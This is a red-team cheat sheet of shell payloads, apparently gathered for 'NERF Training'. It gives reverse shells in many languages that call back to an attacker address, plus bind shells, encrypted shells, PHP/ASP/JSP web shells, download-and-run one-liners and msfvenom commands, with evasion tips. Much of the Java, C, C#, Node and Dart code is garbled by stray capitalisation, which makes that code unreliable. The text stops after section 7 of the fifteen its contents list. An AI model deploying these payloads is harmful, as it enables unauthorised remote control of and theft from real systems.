<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
<!-- NERF is a trademark of defconxt. -->
# NERF Training — Shells Arsenal Deep Reference

> **Classification**: RED TEAM / Authorized Engagement Use Only
> **Last Updated**: 2026-03-14
> **Sources**: revshells.com generator (zip), PayloadsAllTheThings, pwncat, hoaxshell, ConPtyShell, Platypus, ivan-sincek/php-reverse-shell, smbclient-ng
> **ATT&CK**: T1059 (Command and Scripting Interpreter), T1071 (Application Layer Protocol), T1573 (Encrypted Channel), T1505.003 (Web Shell)
---
## Table of Contents

1. [Reverse Shells — By Language](#1-reverse-shells--by-language)
   - [Bash / sh](#11-bash--sh)
   - [Python](#12-python)
   - [Perl](#13-perl)
   - [Ruby](#14-ruby)
   - [PHP](#15-php)
   - [Java](#16-java)
   - [Node.js / JavaScript](#17-nodejs--javascript)
   - [PowerShell](#18-powershell)
   - [C# / .NET](#19-c--net)
   - [Go](#110-go)
   - [Rust](#111-rust)
   - [Lua](#112-lua)
   - [Groovy](#113-groovy)
   - [Dart](#114-dart)
   - [Crystal](#115-crystal)
   - [Awk](#116-awk)
   - [Zsh](#117-zsh)
   - [Telnet](#118-telnet)
   - [V (Vlang)](#119-v-vlang)
2. [Netcat Variants](#2-netcat-variants)
3. [Socat](#3-socat)
4. [OpenSSL Encrypted Shells](#4-openssl-encrypted-shells)
5. [Bind Shells](#5-bind-shells)
6. [Web Shells](#6-web-shells)
   - [PHP Web Shells](#61-php-web-shells)
   - [ASP / ASPX Web Shells](#62-asp--aspx-web-shells)
   - [JSP Web Shells](#63-jsp-web-shells)
7. [MSFVenom Payloads](#7-msfvenom-payloads)
8. [PowerShell ConPTY — Fully Interactive Windows](#8-powershell-conpty--fully-interactive-windows)
9. [HoaxShell — HTTP(S) Beacon Shells](#9-hoaxshell--https-beacon-shells)
10. [Shell Stabilization & TTY Upgrades](#10-shell-stabilization--tty-upgrades)
11. [Encrypted & Obfuscated Shells](#11-encrypted--obfuscated-shells)
12. [Listeners Reference](#12-listeners-reference)
13. [Session Management Tools](#13-session-management-tools)
14. [Post-Exploitation Frameworks](#14-post-exploitation-frameworks)
15. [Detection Opportunities](#15-detection-opportunities)
---
## 1. Reverse Shells — By Language

### 1.1 Bash / sh

**TCP — Classic /dev/tcp**
```bash
bash -i >& /dev/tcp/{ip}/{port} 0>&1
```

**TCP — File Descriptor 196**
```bash
0<&196;exec 196<>/dev/tcp/{ip}/{port}; bash <&196 >&196 2>&196
```

**TCP — File Descriptor 5**
```bash
bash -i 5<> /dev/tcp/{ip}/{port} 0<&5 1>&5 2>&5
```

**TCP — Read Line Loop**
```bash
exec 5<>/dev/tcp/{ip}/{port};cat <&5 | while read line; do $line 2>&5 >&5; done
```

**TCP — Login Shell Redirect**
```bash
/bin/bash -l > /dev/tcp/{ip}/{port} 0<&1 2>&1
```

**UDP**
```bash
bash -i >& /dev/udp/{ip}/{port} 0>&1
```

> **Note**: `/dev/tcp` and `/dev/udp` are bash builtins, not actual filesystem entries. They do not exist in `sh`, `dash`, or other POSIX shells. Verify with `ls -la /proc/$$/fd/` after redirect.
---
### 1.2 Python

**Linux — pty.spawn (most reliable)**
```python
python3 -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{ip}",{port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
```

**Linux — subprocess.call**
```python
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{ip}",{port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
```

**Linux — subprocess with stdin/stdout/stderr kwargs**
```python
python3 -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{ip}",{port}));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())'
```

**Linux — Environment Variables (OPSEC: avoids IP in process args)**
```python
export RHOST="{ip}";export RPORT={port};python3 -c 'import socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
```

**No-Spaces Variant (WAF bypass)**
```python
python3 -c 'socket=__import__("socket");os=__import__("os");pty=__import__("pty");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{ip}",{port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
```

**Shortened (code golf)**
```python
python3 -c 'a=__import__;s=a("socket");o=a("os").dup2;p=a("pty").spawn;c=s.socket(s.AF_INET,s.SOCK_STREAM);c.connect(("{ip}",{port}));f=c.fileno;o(f(),0);o(f(),1);o(f(),2);p("/bin/sh")'
```

**IPv6**
```python
python3 -c 'import socket,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",{port},0,2));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
```

**Windows — Threaded (Python 3)**
```python
python.exe -c "import socket,os,threading,subprocess as sp;p=sp.Popen(['cmd.exe'],stdin=sp.PIPE,stdout=sp.PIPE,stderr=sp.STDOUT);s=socket.socket();s.connect(('{ip}',{port}));threading.Thread(target=exec,args=(\"while(True):o=os.read(p.stdout.fileno(),1024);s.send(o)\",globals()),daemon=True).start();threading.Thread(target=exec,args=(\"while(True):i=s.recv(1024);os.write(p.stdin.fileno(),i)\",globals())).start()"
```

**Python #1 (from revshells.com generator — full script)**
```python
import sys,socket,os,pty
s=socket.socket()
s.connect(("{ip}",{port}))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("{shell}")
```

**Python #2 (from revshells.com generator — short import)**
```python
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("{ip}",{port}));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("{shell}")'
```
---
### 1.3 Perl

**Standard**
```perl
perl -e 'use Socket;$i="{ip}";$p={port};socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
```

**IO::Socket (fork)**
```perl
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"{ip}:{port}");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
```

**IO::Socket (no fork)**
```perl
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"{ip}:{port}");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
```
---
### 1.4 Ruby

**exec sprintf**
```ruby
ruby -rsocket -e'f=TCPSocket.open("{ip}",{port}).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
```

**Fork + IO.popen**
```ruby
ruby -rsocket -e'exit if fork;c=TCPSocket.new("{ip}","{port}");loop{c.gets.chomp!;(exit! if $_=="exit");($_=~/cd (.+)/i?(Dir.chdir($1)):(IO.popen($_,?r){|io|c.print io.read}))rescue c.puts "failed: #{$_}"}'
```

**Simple loop**
```ruby
ruby -rsocket -e 'c=TCPSocket.new("{ip}","{port}");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
```
---
### 1.5 PHP

**fsockopen variants (different execution functions)**
```php
php -r '$sock=fsockopen("{ip}",{port});exec("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("{ip}",{port});shell_exec("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("{ip}",{port});`/bin/sh -i <&3 >&3 2>&3`;'
php -r '$sock=fsockopen("{ip}",{port});system("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("{ip}",{port});passthru("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("{ip}",{port});popen("/bin/sh -i <&3 >&3 2>&3", "r");'
php -r '$sock=fsockopen("{ip}",{port});$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'
```

> **Note**: File descriptor `3` assumes the socket is fd 3. On some systems this may differ. Use `proc_open` for reliability.

**PHP Full Script (ivan-sincek — cross-platform)**
- Supports Linux (`/bin/sh`), macOS (`/bin/sh`), Windows (`cmd.exe`)
- Auto-detects OS
- Works with ncat and Metasploit `multi/handler`
- PHP 5.0.0+ (older variant supports PHP 4.3.0+)
- Repository: `github.com/ivan-sincek/php-reverse-shell`
---
### 1.6 Java

**Java #1 — Runtime.exec with bash**
```java
public class shell {
Public static void main(String[] args) {
        Process p;
Try {
P = Runtime.getRuntime().exec("bash -c $@|bash 0 echo bash -i >& /dev/tcp/{ip}/{port} 0>&1");
P.waitFor();
P.destroy();
        } catch (Exception e) {}
    }
}
```

**Java #2 — ProcessBuilder**
```java
public class shell {
Public static void main(String[] args) {
        ProcessBuilder pb = new ProcessBuilder("bash", "-c", "$@| bash -i >& /dev/tcp/{ip}/{port} 0>&1")
            .redirectErrorStream(true);
Try {
            Process p = pb.start();
P.waitFor();
P.destroy();
        } catch (Exception e) {}
    }
}
```

**Java #3 — Socket-based (cross-platform)**
```java
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
Public class shell {
Public static void main(String[] args) {
        String host = "{ip}";
Int port = {port};
        String cmd = "{shell}";
Try {
            Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();
            Socket s = new Socket(host, port);
            InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream();
            OutputStream po = p.getOutputStream(), so = s.getOutputStream();
While (!s.isClosed()) {
While (pi.available() > 0) so.write(pi.read());
While (pe.available() > 0) so.write(pe.read());
While (si.available() > 0) po.write(si.read());
So.flush();
Po.flush();
                Thread.sleep(50);
Try { p.exitValue(); break; } catch (Exception e) {}
            }
P.destroy();
S.close();
        } catch (Exception e) {}
    }
}
```

**Java Runtime — One-liner**
```java
Runtime r = Runtime.getRuntime();
Process p = r.exec("/bin/bash -c 'exec 5<>/dev/tcp/{ip}/{port};cat <&5 | while read line; do $line 2>&5 >&5; done'");
p.waitFor();
```
---
### 1.7 Node.js / JavaScript

**child_process.exec (simple)**
```javascript
require('child_process').exec('nc -e {shell} {ip} {port}')
```

**net.Socket (cross-platform)**
```javascript
(function(){
Var net = require("net"),
Cp = require("child_process"),
Sh = cp.spawn("{shell}", []);
Var client = new net.Socket();
Client.connect({port}, "{ip}", function(){
Client.pipe(sh.stdin);
Sh.stdout.pipe(client);
Sh.stderr.pipe(client);
    });
Return /a/; // Prevents the Node.js application from crashing
})();
```

**Global process mainModule (sandbox escape)**
```javascript
var x = global.process.mainModule.require
x('child_process').exec('nc {ip} {port} -e /bin/bash')
```

**JavaScript via javax.script (JNDI/deserialization context)**
```java
String command = "var host = '{ip}';" +
                 "var port = {port};" +
                 "var cmd = '{shell}';" +
                 "var s = new java.net.Socket(host, port);" +
                 "var p = new java.lang.ProcessBuilder(cmd).redirectErrorStream(true).start();" +
                 /* ... I/O bridge loop ... */
                 "p.destroy();" +
                 "s.close();";
String x = "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\""+command+"\")";
```
---
### 1.8 PowerShell

**TCP Client — Classic**
```powershell
$client = New-Object System.Net.Sockets.TCPClient("{ip}",{port});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
```

**Hidden Execution**
```powershell
powershell -NoP -NonI -W Hidden -Exec Bypass -Command "New-Object System.Net.Sockets.TCPClient('{ip}',{port});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
```

**Base64 Encoded (bypasses basic string detection)**
```powershell
powershell -e <base64_encoded_payload>
```
Generate with:
```bash
echo -n 'IEX(payload_here)' | iconv -t UTF-16LE | base64 -w0
```

**Powercat (PowerShell netcat)**
```powershell
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');
powercat -c {ip} -p {port} -e cmd
```
---
### 1.9 C# / .NET

**C Source (Linux)**
```c
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
Int main(void){
Int port = {port};
Struct sockaddr_in revsockaddr;
Int sockt = socket(AF_INET, SOCK_STREAM, 0);
Revsockaddr.sin_family = AF_INET;
Revsockaddr.sin_port = htons(port);
Revsockaddr.sin_addr.s_addr = inet_addr("{ip}");
Connect(sockt, (struct sockaddr *) &revsockaddr, sizeof(revsockaddr));
Dup2(sockt, 0);
Dup2(sockt, 1);
Dup2(sockt, 2);
Char * const argv[] = {"/bin/sh", NULL};
Execve("/bin/sh", argv, NULL);
Return 0;
}
```

Compile: `gcc shell.c -o shell && ./shell`

**C# Windows (from revshells.com generator)**
```csharp
using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Linq;
using System.Net;
using System.Net.Sockets;
Namespace ConnectBack {
Public class Program {
Static StreamWriter streamWriter;
Public static void Main(string[] args) {
Using(TcpClient client = new TcpClient("{ip}", {port})) {
Using(Stream stream = client.GetStream()) {
Using(StreamReader rdr = new StreamReader(stream)) {
StreamWriter = new StreamWriter(stream);
                        StringBuilder strInput = new StringBuilder();
                        Process p = new Process();
P.StartInfo.FileName = "cmd.exe";
P.StartInfo.CreateNoWindow = true;
P.StartInfo.UseShellExecute = false;
P.StartInfo.RedirectStandardOutput = true;
P.StartInfo.RedirectStandardInput = true;
P.StartInfo.RedirectStandardError = true;
P.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
P.Start();
P.BeginOutputReadLine();
While(true) {
StrInput.Append(rdr.ReadLine());
P.StandardInput.WriteLine(strInput);
StrInput.Remove(0, strInput.Length);
                        }
                    }
                }
            }
        }
Private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine) {
            StringBuilder strOutput = new StringBuilder();
If (!String.IsNullOrEmpty(outLine.Data)) {
Try {
StrOutput.Append(outLine.Data);
StreamWriter.WriteLine(strOutput);
StreamWriter.Flush();
                } catch (Exception) { }
            }
        }
    }
}
```
---
### 1.10 Go

**One-liner (write, compile, execute, cleanup)**
```bash
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","{ip}:{port}");cmd:=exec.Command("{shell}");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go
```
---
### 1.11 Rust

**Full source**
```rust
use std::net::TcpStream;
use std::os::unix::io::{AsRawFd, FromRawFd};
use std::process::{Command, Stdio};
Fn main() {
Let s = TcpStream::connect("{ip}:{port}").unwrap();
Let fd = s.as_raw_fd();
    Command::new("/bin/sh")
        .arg("-i")
        .stdin(unsafe { Stdio::from_raw_fd(fd) })
        .stdout(unsafe { Stdio::from_raw_fd(fd) })
        .stderr(unsafe { Stdio::from_raw_fd(fd) })
        .spawn()
        .unwrap()
        .wait()
        .unwrap();
}
```
---
### 1.12 Lua

**Lua #1 — socket + os.execute**
```bash
lua -e "require('socket');require('os');t=socket.tcp();t:connect('{ip}','{port}');os.execute('/bin/sh -i <&3 >&3 2>&3');"
```

**Lua #2 — io.popen loop**
```bash
lua5.1 -e 'local host, port = "{ip}", {port} local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, "r") local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
```
---
### 1.13 Groovy

**One-liner (commonly used in Jenkins exploitation)**
```groovy
String host="{ip}";int port={port};String cmd="{shell}";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
```

**Stealthy (thread-based)**
```groovy
Thread.start {
    String host="{ip}";int port={port};String cmd="/bin/sh";
    // ... same socket bridge logic ...
}
```
---
### 1.14 Dart

```dart
import 'dart:io';
import 'dart:convert';
Main() {
  Socket.connect("{ip}", {port}).then((socket) {
Socket.listen((data) {
      Process.start('{shell}', []).then((Process process) {
Process.stdin.writeln(new String.fromCharCodes(data).trim());
Process.stdout
          .transform(utf8.decoder)
          .listen((output) { socket.write(output); });
      });
    },
OnDone: () {
Socket.destroy();
    });
  });
}
```
---
### 1.15 Crystal

**System one-liner**
```bash
crystal eval 'require "process";require "socket";c=Socket.tcp(Socket::Family::INET);c.connect("{ip}",{port});loop{m,l=c.receive;p=Process.new(m.rstrip("\n"),output:Process::Redirect::Pipe,shell:true);c<<p.output.gets_to_end}'
```
---
### 1.16 Awk

```bash
awk 'BEGIN {s = "/inet/tcp/0/{ip}/{port}"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
```
---
### 1.17 Zsh

```bash
zsh -c 'zmodload zsh/net/tcp && ztcp {ip} {port} && zsh >&$REPLY 2>&$REPLY 0>&$REPLY'
```
---
### 1.18 Telnet

**Dual-listener method**
```bash
# Attacker: start two listeners
nc -lvp {port}      # stdin
nc -lvp {port2}     # stdout

# Victim:
telnet {ip} {port} | /bin/sh | telnet {ip} {port2}
```

**mkfifo method**
```bash
TF=$(mktemp -u);mkfifo $TF && telnet {ip} {port} 0<$TF | {shell} 1>$TF
```
---
### 1.19 V (Vlang)

```bash
echo 'import os' > /tmp/t.v && echo 'fn main() { os.system("nc -e {shell} {ip} {port} 0>&1") }' >> /tmp/t.v && v run /tmp/t.v && rm /tmp/t.v
```
---
## 2. Netcat Variants

### Traditional (nc -e)
```bash
nc {ip} {port} -e /bin/sh
nc {ip} {port} -e /bin/bash
nc -c bash {ip} {port}
```

### Windows
```bash
nc.exe {ip} {port} -e cmd.exe
ncat.exe {ip} {port} -e cmd.exe
```

### OpenBSD (no -e flag — mkfifo workaround)
```bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {ip} {port} >/tmp/f
```

### BusyBox
```bash
busybox nc {ip} {port} -e /bin/sh
rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc {ip} {port} >/tmp/f
```

### Ncat
```bash
ncat {ip} {port} -e /bin/bash
ncat --udp {ip} {port} -e /bin/bash
```

### Ncat UDP (mkfifo)
```bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|ncat -u {ip} {port} >/tmp/f
```

### Curl as transport
```bash
C='curl -Ns telnet://{ip}:{port}'; $C </dev/null 2>&1 | /bin/sh 2>&1 | $C >/dev/null
```

### Rustcat
```bash
rcat connect -s {shell} {ip} {port}
```
---
## 3. Socat

**Attacker (listener with TTY)**
```bash
socat file:`tty`,raw,echo=0 TCP-L:{port}
```

**Victim — fully interactive**
```bash
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:{ip}:{port}
```

**Download static socat + execute**
```bash
wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:{ip}:{port}
```

**Non-TTY variants**
```bash
# Listener
socat -d -d TCP-LISTEN:{port} STDOUT

# TTY listener
socat -d -d file:`tty`,raw,echo=0 TCP-LISTEN:{port}
```
---
## 4. OpenSSL Encrypted Shells

### Standard TLS

**Attacker — generate cert and listen**
```bash
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
openssl s_server -quiet -key key.pem -cert cert.pem -port {port}
```

**Victim — connect**
```bash
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect {ip}:{port} > /tmp/s; rm /tmp/s
```

### TLS-PSK (Pre-Shared Key — no certificate management)

**Generate PSK**
```bash
openssl rand -hex 48
```

**Attacker**
```bash
export LHOST="*"; export LPORT="{port}"; export PSK="<generated_hex>";
openssl s_server -quiet -tls1_2 -cipher PSK-CHACHA20-POLY1305:PSK-AES256-GCM-SHA384:PSK-AES256-CBC-SHA384:PSK-AES128-GCM-SHA256:PSK-AES128-CBC-SHA256 -psk $PSK -nocert -accept $LHOST:$LPORT
```

**Victim**
```bash
export RHOST="{ip}"; export RPORT="{port}"; export PSK="<generated_hex>";
export PIPE="/tmp/`openssl rand -hex 4`";
mkfifo $PIPE; /bin/sh -i < $PIPE 2>&1 | openssl s_client -quiet -tls1_2 -psk $PSK -connect $RHOST:$RPORT > $PIPE; rm $PIPE
```

> **OPSEC**: TLS-PSK avoids certificate generation artifacts on disk. ChaCha20-Poly1305 as first cipher is fast and avoids AES-NI side-channel concerns on shared hosts.
---
## 5. Bind Shells

### Python3 Bind
```python
python3 -c 'exec("""import socket as s,subprocess as sp;s1=s.socket(s.AF_INET,s.SOCK_STREAM);s1.setsockopt(s.SOL_SOCKET,s.SO_REUSEADDR, 1);s1.bind(("0.0.0.0",{port}));s1.listen(1);c,a=s1.accept();\nwhile True: d=c.recv(1024).decode();p=sp.Popen(d,shell=True,stdout=sp.PIPE,stderr=sp.PIPE,stdin=sp.PIPE);c.sendall(p.stdout.read()+p.stderr.read())""")'
```

### PHP Bind
```php
php -r '$s=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);socket_bind($s,"0.0.0.0",{port});socket_listen($s,1);$cl=socket_accept($s);while(1){if(!socket_write($cl,"$ ",2))exit;$in=socket_read($cl,100);$cmd=popen("$in","r");while(!feof($cmd)){$m=fgetc($cmd);socket_write($cl,$m,strlen($m));}}'
```

### Netcat Bind
```bash
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc -l 0.0.0.0 {port} > /tmp/f
```

### Perl Bind
```perl
perl -e 'use Socket;$p={port};socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));bind(S,sockaddr_in($p, INADDR_ANY));listen(S,SOMAXCONN);for(;$p=accept(C,S);close C){open(STDIN,">&C");open(STDOUT,">&C");open(STDERR,">&C");exec("/bin/sh -i");};'
```

**Connecting to bind shells:**
```bash
nc -nv {target_ip} {port}
ncat {target_ip} {port}
```
---
## 6. Web Shells

### 6.1 PHP Web Shells

**Minimal one-liner**
```php
<?php system($_GET['cmd']); ?>
```

**Alternative execution functions**
```php
<?php echo shell_exec($_GET['cmd']); ?>
<?php echo `{$_GET['cmd']}`; ?>
<?php passthru($_GET['cmd']); ?>
<?php echo exec($_GET['cmd']); ?>
<?php
$cmd = $_REQUEST['cmd'];
$proc = proc_open($cmd, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $pipes);
echo stream_get_contents($pipes[1]);
proc_close($proc);
?>
```

**POST-based (avoids access log leakage)**
```php
<?php if(isset($_POST['cmd'])){system($_POST['cmd']);} ?>
```

**ivan-sincek PHP Reverse Shell**
- Full-featured cross-platform (Linux/macOS/Windows)
- Auto OS detection
- Works with ncat and Metasploit multi/handler
- Versions: PHP 5.0.0+ and PHP 4.3.0+ legacy
- Includes file upload/download web shell variants

### 6.2 ASP / ASPX Web Shells

**ASP Classic**
```asp
<%
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
cmd = Request.Form("cmd")
Set oExec = oScript.Exec("cmd /c " & cmd)
response.write("<pre>" & oExec.StdOut.ReadAll & "</pre>")
%>
```

**ASPX**
```aspx
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<script runat="server">
void Page_Load(object sender, EventArgs e) {
String cmd = Request["cmd"];
If (cmd != null) {
        Process p = new Process();
P.StartInfo.FileName = "cmd.exe";
P.StartInfo.Arguments = "/c " + cmd;
P.StartInfo.UseShellExecute = false;
P.StartInfo.RedirectStandardOutput = true;
P.Start();
        Response.Write("<pre>" + p.StandardOutput.ReadToEnd() + "</pre>");
    }
}
</script>
```

### 6.3 JSP Web Shells

**Minimal JSP**
```jsp
<%
Runtime rt = Runtime.getRuntime();
String[] cmd = {"/bin/sh", "-c", request.getParameter("cmd")};
Process p = rt.exec(cmd);
java.io.InputStream is = p.getInputStream();
int c;
while ((c = is.read()) != -1) { out.print((char) c); }
%>
```

**JSP Reverse Shell (from revshells.com generator)**
Full JSP backdoor with form-based IP/port input, StreamConnector threads for bidirectional I/O, and support for both `cmd.exe` (Windows) and `/bin/sh` (Linux).

**Java Two-Way Shell (JSP)**
Dual-mode: reverse shell attempt + fallback web command execution. Auto-detects Windows vs Linux for shell path selection.
---
## 7. MSFVenom Payloads

### Windows

| Payload | Command |
|---------|---------|
| Meterpreter Staged Reverse TCP (x64) | `msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST={ip} LPORT={port} -f exe -o reverse.exe` |
| Meterpreter Stageless Reverse TCP (x64) | `msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST={ip} LPORT={port} -f exe -o reverse.exe` |
| Shell Staged Reverse TCP (x64) | `msfvenom -p windows/x64/shell/reverse_tcp LHOST={ip} LPORT={port} -f exe -o reverse.exe` |
| Shell Stageless Reverse TCP (x64) | `msfvenom -p windows/x64/shell_reverse_tcp LHOST={ip} LPORT={port} -f exe -o reverse.exe` |
| Staged JSP Reverse TCP | `msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST={ip} LPORT={port} -f jsp -o rev.jsp` |
| Staged ASPX Reverse TCP | `msfvenom -p windows/meterpreter/reverse_tcp LHOST={ip} LPORT={port} -f aspx -o reverse.aspx` |
| Staged ASPX Reverse TCP (x64) | `msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST={ip} LPORT={port} -f aspx -o reverse.aspx` |
| Bind TCP ShellCode (BOF) | `msfvenom -a x86 --platform Windows -p windows/shell/bind_tcp -e x86/shikata_ga_nai -b '\x00' -f python -v notBuf -o shellcode` |

### Linux

| Payload | Command |
|---------|---------|
| Meterpreter Staged Reverse TCP (x64) | `msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST={ip} LPORT={port} -f elf -o reverse.elf` |
| Shell Stageless Reverse TCP (x64) | `msfvenom -p linux/x64/shell_reverse_tcp LHOST={ip} LPORT={port} -f elf -o reverse.elf` |
| Shell Staged Reverse TCP (x86) | `msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST={ip} LPORT={port} -f elf -o reverse.elf` |
| Shell Stageless Reverse TCP (x86) | `msfvenom -p linux/x86/shell_reverse_tcp LHOST={ip} LPORT={port} -f elf -o reverse.elf` |

### macOS

| Payload | Command |
|---------|---------|
| Meterpreter Staged (x64) | `msfvenom -p osx/x64/meterpreter/reverse_tcp LHOST={ip} LPORT={port} -f macho -o shell.macho` |
| Meterpreter Stageless (x64) | `msfvenom -p osx/x64/meterpreter_reverse_tcp LHOST={ip} LPORT={port} -f macho -o shell.macho` |
| Shell Stageless (x64) | `msfvenom -p osx/x64/shell_reverse_tcp LHOST={ip} LPORT={port} -f macho -o shell.macho` |

### Web / Scripting

| Payload | Command |
|---------|---------|
| PHP Meterpreter Stageless | `msfvenom -p php/meterpreter_reverse_tcp LHOST={ip} LPORT={port} -f raw -o shell.php` |
| PHP Reverse | `msfvenom -p php/reverse_php LHOST={ip} LPORT={port} -o shell.php` |
| JSP Stageless | `msfvenom -p java/jsp_shell_reverse_tcp LHOST={ip} LPORT={port} -f raw -o shell.jsp` |
| WAR Stageless | `msfvenom -p java/shell_reverse_tcp LHOST={ip} LPORT={port} -f war -o shell.war` |
| Python Stageless | `msfvenom -p cmd/unix/reverse_python LHOST={ip} LPORT={port} -f raw` |
| Bash Stageless | `msfvenom -p cmd/unix/reverse_bash LHOST={ip} LPORT={port} -f raw -o shell.sh` |
| Perl Stageless | `msfvenom -p cmd/unix/reverse_perl LHOST={ip} LPORT={port} -f raw -o shell.pl` |
| ASP Meterpreter | `msfvenom -p windows/meterpreter/reverse_tcp LHOST={ip} LPORT={port} -f asp -o shell.asp` |

### Mobile

| Payload | Command |
|---------|---------|
| Android Meterpreter | `msfvenom --platform android -p android/meterpreter/reverse_tcp lhost={ip} lport={port} R -o malicious.apk` |
| Android Embed in APK | `msfvenom --platform android -x template-app.apk -p android/meterpreter/reverse_tcp lhost={ip} lport={port} -o payload.apk` |
